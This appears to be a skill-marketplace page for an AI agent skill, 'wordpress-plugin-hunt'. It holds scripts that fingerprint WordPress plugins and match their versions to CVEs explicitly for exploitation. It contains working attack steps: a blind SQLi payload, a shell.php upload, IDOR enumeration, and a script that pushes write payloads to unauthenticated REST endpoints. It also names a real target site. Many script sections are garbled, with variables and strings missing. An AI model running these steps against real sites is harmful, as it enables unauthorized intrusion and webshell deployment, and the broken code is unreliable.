用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/Wyl-cmd/kxns-cli --skill wordpress-plugin-hunt命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wordpress-plugin-hunt |
| description | Hunt WP plugins via REST, exploit CVEs when version known. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["recon","wordpress","plugins","CVE","exploitation"],"category":"recon","related_skills":["wp-mass-recon","deep-invade","cross-attack-chains","wordpress-full-compromise","staging-subdomain-hunt","xmlrpc-exploitation"]} |
Discover installed WordPress plugins through REST API namespace probing, readme.txt version detection, and HTML/JS source analysis. Cross-reference discovered versions against known CVEs for exploitation. WordPress plugin vulnerabilities are one of the most reliable paths to RCE — confirmed CVEs include Elementor, Slider Revolution, ElementsKit, Gravity Forms, Jetpack, WooCommerce, and LiteSpeed Cache.
wp-mass-recon).deep-invade Phase 3.terminal tool with curl, python3./wp-json/ or /wp-login.php accessible).security-arsenal skill).# Quick plugin namespace scan (30+ plugins)
TARGET="example.com"
for ns in "revslider/v1" "elementskit/v1" "elementor/v1" "gf/v2" "wc/v3" \
"jetpack/v4" "litespeed/v1" "yoast/v1" "acf/v3" "contact-form-7/v1" \
"solidwp-mail/v1" "wpsl/v1" "redirection/v1" "rankmath/v1"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$TARGET/wp-json/$ns")
[[ "$code" != "404" ]] && echo "FOUND: /wp-json/$ns (HTTP $code)"
done
| Plugin | Vulnerable Version | CVE | Impact | Frequency |
|---|---|---|---|---|
| Slider Revolution | < 6.6.20 | CVE-2024-2534 | RCE via file upload | ~10% |
| ElementsKit | < 2.9.4 | CVE-2023-6851 | SQLi | ~5% |
| ElementsKit | < 2.9.4 | CVE-2023-6853 | File Upload (unauthenticated) | ~5% |
| Gravity Forms | < 2.8.2 | CVE-2024-6115 | PHP Object Injection → Auth Bypass | ~8% |
| Jetpack | < 13.1 | CVE-2024-1782 | SSRF | 28% |
| Elementor | < 3.24.0 | CVE-2024-xxxx | Info disclosure → Auth bypass | 28% |
| LiteSpeed Cache | < 6.5.0 | CVE-2024-50550 | Privilege escalation | ~15% |
| WooCommerce | N/A (API exposure) | N/A | Order/customer data | 42% |
| Yoast SEO | N/A (sitemap enum) | N/A | Author email leak | 42% |
| Method | What It Reveals | Reliability |
|---|---|---|
| REST namespace probe | Plugin presence + data | High (if plugin registers REST routes) |
| readme.txt version | Exact version number | Medium (many sites block readme.txt) |
| HTML source grep | Plugin CSS/JS handles | Medium |
| robots.txt | Plugin-generated entries | Low (only if plugin adds entries) |
/wp-content/plugins/<slug>/ | Directory listing or assets | Medium |
TARGET="$1"
OUTDIR="/root/output/plugins/$TARGET"
mkdir -p "$OUTDIR"
# Comprehensive plugin namespace list
declare -A PLUGIN_NAMESPACES
PLUGIN_NAMESPACES["revslider"]="revslider/v1/slides"
PLUGIN_NAMESPACES["elementskit"]="elementskit/v1/layouts"
PLUGIN_NAMESPACES["elementor"]="elementor/v1/globals"
PLUGIN_NAMESPACES["gravityforms"]="gf/v2/forms"
PLUGIN_NAMESPACES["woocommerce"]="wc/v3/products"
PLUGIN_NAMESPACES["jetpack"]="jetpack/v4/settings"
PLUGIN_NAMESPACES["litespeed"]="litespeed/v1/token"
PLUGIN_NAMESPACES["yoast"]="yoast/v1/indexing"
PLUGIN_NAMESPACES["acf"]="acf/v3/posts"
PLUGIN_NAMESPACES["contactform7"]="contact-form-7/v1/contact-forms"
PLUGIN_NAMESPACES["solidwp"]="solidwp-mail/v1/export"
PLUGIN_NAMESPACES["wpsl"]="wpsl/v1/locations"
PLUGIN_NAMESPACES["redirection"]="redirection/v1/redirect"
PLUGIN_NAMESPACES["rankmath"]="rankmath/v1/getHead"
PLUGIN_NAMESPACES["fusionbuilder"]="fusion-builder/v1/elements"
PLUGIN_NAMESPACES["visualcomposer"]="visualcomposer/v1/posts"
PLUGIN_NAMESPACES["ninjaforms"]="ninja-forms/v1/forms"
PLUGIN_NAMESPACES["wpforms"]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
PLUGIN_NAMESPACES[]=
plugin ;
ns=
resp=$(curl -sk --max-time 5 -o /tmp/plugin_check_$$.tmp -w 2>/dev/null)
[[ == ]];
size=$( -c < /tmp/plugin_check_$$.tmp)
grep -qiE /tmp/plugin_check_$$.tmp 2>/dev/null;
/tmp/plugin_check_$$.tmp
[[ == ]];
[[ == ]];
-f /tmp/plugin_check_$$.tmp
TARGET="$1"
OUTDIR="/root/output/plugins/$TARGET"
# Common plugin slugs to check
SLUGS=(
"elementor" "revslider" "js_composer" "wp-rocket" "wordfence"
"woocommerce" "jetpack" "litespeed-cache" "yoast-seo" "advanced-custom-fields"
"contact-form-7" "gravityforms" "ninja-forms" "wpforms-lite"
"all-in-one-wp-migration" "updraftplus" "duplicator" "backupbuddy"
"essential-grid" "smart-slider-3" "masterslider" "metaslider"
"fusion-builder" "visualcomposer" "elementor-pro" "essential-addons-for-elementor-lite"
"redux-framework" "buddypress" "learndash" "give"
"the-events-calendar" "events-manager" "wpml-string-translation"
"mailchimp-for-woocommerce" "automatewoo" "woocommerce-subscriptions"
"woocommerce-memberships" "restrict-content-pro" "easy-digital-downloads"
"rank-math-seo" "seo-by-rank-math" "all-in-one-seo-pack" "wp-seopress"
"monsterinsights"
)
slug ;
readme=$(curl -sk --max-time 5 2>/dev/null)
[[ -n ]];
version=$( | grep -i | sed | -d | -1)
name=$( | grep -i | -1 | sed )
[[ -n ]];
revslider)
[[ < ]] && ;;
elementskit|elementskit-lite)
[[ < ]] && ;;
litespeed-cache)
[[ < ]] && ;;
elementor|elementor-pro)
[[ < ]] && ;;
gravityforms)
[[ < ]] && ;;
jetpack)
[[ < ]] && ;;
TARGET="$1"
echo "[*] Scanning HTML source for plugin fingerprints..."
PAGE=$(curl -sk --max-time 10 "https://$TARGET/" 2>/dev/null)
# CSS/JS handles
echo "$PAGE" | grep -oP "(?:/wp-content/plugins/|/wp-content/themes/)[a-zA-Z0-9_-]+" | sort -u | while read -r path; do
plugin=$(echo "$path" | grep -oP 'plugins/\K[a-zA-Z0-9_-]+|themes/\K[a-zA-Z0-9_-]+')
echo " [SOURCE] $plugin (found in HTML)"
done
# Elementor specific
if echo "$PAGE" | grep -q "elementor-element\|data-elementor-id"; then
echo " [SOURCE] Elementor (page builder in use)"
fi
# WooCommerce specific
if echo "$PAGE" | grep -q "woocommerce\|wc-forward\|add_to_cart_button"; then
echo " [SOURCE] WooCommerce (e-commerce active)"
fi
# WP Rocket
if echo "$PAGE" | grep -q "wpr-minify\|rocket-lazyload"; then
| grep -q ;
When a vulnerable plugin version is confirmed:
TARGET="$1"
# Slider Revolution CVE-2024-2534 (RCE via file upload)
# Requires: revslider < 6.6.20
# Attack: POST to /wp-json/revslider/v1/upload with ZIP containing PHP
# See: security-arsenal skill for full PoC
# ElementsKit CVE-2023-6853 (RCE via file upload, unauthenticated)
# Requires: elementskit < 2.9.4
# Attack: POST to /wp-json/elementskit/v1/upload with specially crafted file
# See: security-arsenal skill for full PoC
# Gravity Forms CVE-2024-6115 (auth bypass)
# Requires: gravityforms < 2.8.2
# Attack: Unauthenticated access to form entries via REST API
curl -sk "https://$TARGET/wp-json/gf/v2/forms" 2>/dev/null | python3 -m json.tool | head -20
# LiteSpeed Cache CVE-2024-50550 (privilege escalation)
# Requires: litespeed < 6.5.0
# Attack: Crawler token manipulation to gain admin access
curl -sk "https://$TARGET/wp-json/litespeed/v1/token" 2>/dev/null
Don't rely solely on readme.txt — plugins can hide version info in multiple locations:
#!/bin/bash
# multi-source-version.sh — Extract plugin version from multiple sources
TARGET="$1"
PLUGIN="$2" # e.g., elementskit
PLUGIN_DIR="$3" # e.g., elementskit-lite (can differ from slug)
# Source 1: readme.txt (most common)
v1=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/readme.txt" 2>/dev/null | \
grep -i "stable tag\|version" | head -1 | grep -oP '[\d.]+')
echo "Source 1 (readme.txt): $v1"
# Source 2: Main plugin PHP header
v2=$(curl -sk "https://$TARGET/wp-content/plugins/$PLUGIN_DIR/$PLUGIN.php" 2>/dev/null | \
grep -oP 'Version:\s*\K[\d.]+')
echo "Source 2 (plugin header): $v2"
# Source 3: CSS/JS asset paths (many plugins version their assets)
v3=$(curl -sk "https://$TARGET/" 2>/dev/null | \
grep -oP "$PLUGIN_DIR/.*?ver=([\d.]+)" | grep -oP '[\d.]+\b' | sort -uV | tail -1)
echo "Source 3 (asset version): $v3"
# Source 4: REST API namespace (some plugins include version in namespace)
v4=$(curl -sk "https://$TARGET/wp-json/" 2>/dev/null | \
python3 -c "import sys,json; [print(n.split('/')[1]) for n in json.load(sys.stdin).get('namespaces',[]) if '' in n and '/' in n]" 2>/dev/null)
src ;
[ -n ];
# Method 1: WPScan API (requires token)
curl -sk "https://wpscan.com/api/v3/plugins/$PLUGIN" \
-H "Authorization: Token token=$WPSCAN_TOKEN" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
print(f\"{vuln.get('cve', 'no-cve')}: {vuln.get('title', '')} ({vuln.get('fixed_in', 'unpatched')})\")
" 2>/dev/null
# Method 2: NVD API (no token required)
curl -sk "https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=$PLUGIN&keywordExactMatch" | python3 -c "
import sys, json
d = json.load(sys.stdin)
for vuln in d.get('vulnerabilities', []):
cve = vuln['cve']
vid = cve['id']
desc = cve['descriptions'][0]['value'][:200] if cve['descriptions'] else ''
try:
score = cve['metrics']['cvssMetricV31'][0]['cvssData']['baseScore']
except: score = 'N/A'
print(f'{vid} (CVSS:{score}): {desc}')
" 2>/dev/null
# Method 3: Patchstack database
curl -sk "https://patchstack.com/database/search/?s=$PLUGIN" | \
python3 -c "import sys,re; content=sys.stdin.read(); cves=re.findall(r'CVE-\d{4}-\d{4,7}', content); print(f'Patchstack CVEs: {cves}')" 2>/dev/null
#!/bin/bash
# cve-matcher.sh — Match plugin versions against known CVEs
# Usage: echo "revslider 6.6.19" | ./cve-matcher.sh
while read plugin version; do
case "$plugin" in
revslider)
[ "$(printf '%s\n' '6.6.20' "$version" | sort -V | head -1)" != "$version" ] && \
[ "$version" != "6.6.20" ] && echo " [!] Revslider < 6.6.20 → CVE-2024-2534 RCE"
[ "$(printf '%s\n' '6.5.8' "$version" | sort -V | head -1)" != "$version" ] && \
[ "$version" != "6.5.8" ] && echo " [!] Revslider < 6.5.8 → CVE-2022-2944 SQLi"
;;
elementskit)
[ "$(printf '%s\n' '2.9.4' "$version" | sort -V | head -1)" != "$version" ] && \
[ "$version" != "2.9.4" ] && echo " [!] ElementsKit < 2.9.4 → CVE-2023-6851 SQLi, CVE-2023-6853 File Upload"
[ "$(printf '%s\n' '2.9.8' "$version" | sort -V | head -1)" != "$version" ] && \
[ != ] &&
;;
gravityforms)
[ != ] && \
[ != ] &&
;;
jetpack)
[ != ] && \
[ != ] &&
;;
contact-form-7)
;;
wp-file-manager)
;;
wpdm)
[ != ] && \
[ != ] &&
;;
# Check 1: Does readme.txt version match actual deployed version?
curl -sk "https://$TARGET/wp-content/plugins/elementskit/elementskit.php" | grep "Version:"
# Check 2: Is the REST endpoint actually available (not disabled by WAF)?
curl -sk -I "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file"
# Check 3: Is the vulnerable code path actually reachable? (Some CVEs require specific features)
curl -sk "https://$TARGET/wp-json/elementskit/v1/" | python3 -m json.tool 2>/dev/null
# Check 4: Test exploitation in safe mode — verify endpoint exists before running destructive payload
curl -sk -X OPTIONS "https://$TARGET/wp-json/elementskit/v1/widgets/upload-file" | head -20
# Check 5: Version from JS/CSS assets vs readme.txt — if they differ, plugin may be partially updated
curl -sk "https://$TARGET/" | grep -oP 'elementskit.*?ver=[0-9.]+'
When no known CVE exists for a plugin, test these common patterns:
# 1. REST API route enumeration (undocumented endpoints)
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for route in d.get('routes', {}):
print(f' {route}')
except: pass
"
# 2. AJAX handler testing
curl -sk "https://$TARGET/wp-admin/admin-ajax.php" -d "action=$PLUGIN_ajax_function"
# 3. SQLi in plugin shortcode attributes
curl -sk "https://$TARGET/?$PLUGIN_param=1' AND SLEEP(5)--"
# 4. File upload in plugin media handlers
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/upload" -F "file=@shell.php"
# 5. IDOR in plugin REST endpoints (iterate IDs)
for id in $(seq 1 100); do
curl -sk "https://$TARGET/wp-json/$PLUGIN/v1/data/$id" | jq '. | {id}' 2>/dev/null
done
WordPress plugins register custom REST API routes. Many developers forget to add permission callbacks, leaving state-changing endpoints (POST/PUT/PATCH/DELETE) accessible to unauthenticated users.
import requests, json, sys
BASE = sys.argv[1] if len(sys.argv) > 1 else "https://target.com"
# Step 1: Get all plugin namespaces
r = requests.get(f"{BASE}/wp-json/", timeout=10)
ns_list = r.json().get('namespaces', [])
std = ['oembed', 'wp/v2', 'wp-site-health', 'wp-block-editor', 'wpcom']
plugins = [n for n in ns_list if not any(s in n for s in std)]
print(f"Plugins: {len(plugins)}")
for ns in plugins:
r = requests.get(f"{BASE}/wp-json/{ns}/", timeout=10)
if r.status_code != 200:
continue
routes = r.json().get('routes', {})
for path, cfg in routes.items():
methods = cfg.get('methods', [])
for method in methods:
if method not in ['POST', 'PUT', 'PATCH', 'DELETE']:
r = requests.request(method, , json={}, timeout=)
r.status_code == :
text = r.text.lower()
text text text:
()
()
payload [
{: , : , : , : },
{: , : , : },
{: , : , : },
]:
r2 = requests.request(method, , json=payload, timeout=)
r2.text.lower() r2.text.lower() r2.text.lower():
()
Key indicators for REST auth bypass:
| Response | Meaning |
|---|---|
"Post published" / "Success" | Unauthenticated write confirmed |
"Missing parameter: X" | Endpoint works — just needs correct params |
"Sorry, you are not allowed" | Auth enforced — safe |
"rest_forbidden" | Auth enforced — safe |
"rest_missing_callback_param" | Endpoint works — probe with params |
/wp-json/ paths. Verify response content has actual plugin data (JSON with id, name, or slug fields).readme.txt at the CDN level. Fall back to REST namespaces or HTML source grep.gravityforms may be gravityforms-clientsite. Check HTML source for actual slugs via wp-content/plugins/ paths./wp-json/sliderrevolution/sliders/.<) fails on 10.x vs 2.x. Use sort -V or python for complex comparisons./wp-json/elementor/v1/favorites returning HTTP 500 with stack trace (Wave8, tools-retailer.com) reveals server paths and internal structure even without plugin exploitation.Different hosting providers have distinct vulnerability profiles for plugin detection:
| Host | REST Users | readme.txt | CORS | XMLRPC | Best Plugin Detection Method |
|---|---|---|---|---|---|
| GoDaddy | Usually exposed | Usually accessible | Often reflects | Usually open | readme.txt (most accessible) |
| Cloudflare + WP Engine | Usually blocked | Blocked at CDN | May work | Blocked | HTML source grep + REST namespace brute force |
| Hostinger | Exposed | Accessible | Often reflects | Open | readme.txt + REST namespace |
| WP Engine (direct) | Blocked (401) | Blocked | Mixed | Blocked | HTML source only |
| Bluehost | Exposed | Accessible | Often reflects | Open | All methods work |
| SiteGround | Mixed | Often accessible | Mixed | Mixed | REST namespace + readme.txt |